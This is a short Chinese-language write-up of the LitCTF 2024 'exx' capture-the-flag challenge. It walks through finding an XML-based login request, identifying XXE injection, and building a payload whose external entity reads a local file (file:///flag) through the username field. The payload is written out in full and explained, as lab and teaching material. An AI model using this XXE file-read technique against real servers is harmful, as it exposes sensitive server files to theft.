[LitCTF 2024]exx

[LitCTF 2024]exx

点开之后页面如图所示：
随便输入一个用户名试试：
发现回显失败，我们点击鼠标右键查看页面源码：
这里展示了如何使用jQuery发起AJAX请求，并处理XML格式的请求和响应。
而XXE注入的最明显特征包括：
1，数据泄露：允许攻击者读取服务器上的敏感文件。
2，服务器端请求伪造（SSRF）：使攻击者能够发起服务器端的请求，访问内网服务。
3，拒绝服务（DoS）：通过外部实体消耗服务器资源，导致服务不可用。
那么我们就可以确定是xxe注入了，接着我们构造payload：

<!DOCTYPE ANY [
    <!ENTITY XXE SYSTEM "file:///flag">
]>
<user><username>&XXE;</username><password>123456</password></user>

<!DOCTYPE ANY [
    <!ENTITY XXE SYSTEM "file:///flag">
]>

这段是文档类型定义（DTD），其中定义了一个名为 XXE 的外部实体，其值通过 SYSTEM 关键字从指定的文件系统路径（file:///flag）获取。

<user>
    <username>&XXE;</username>
    <password>123456</password>
</user>

在 username 标签内，通过 &XXE; 引用了之前定义的外部实体 XXE，试图获取指定文件的内容。

然后我们发送得到：
得到本题flag.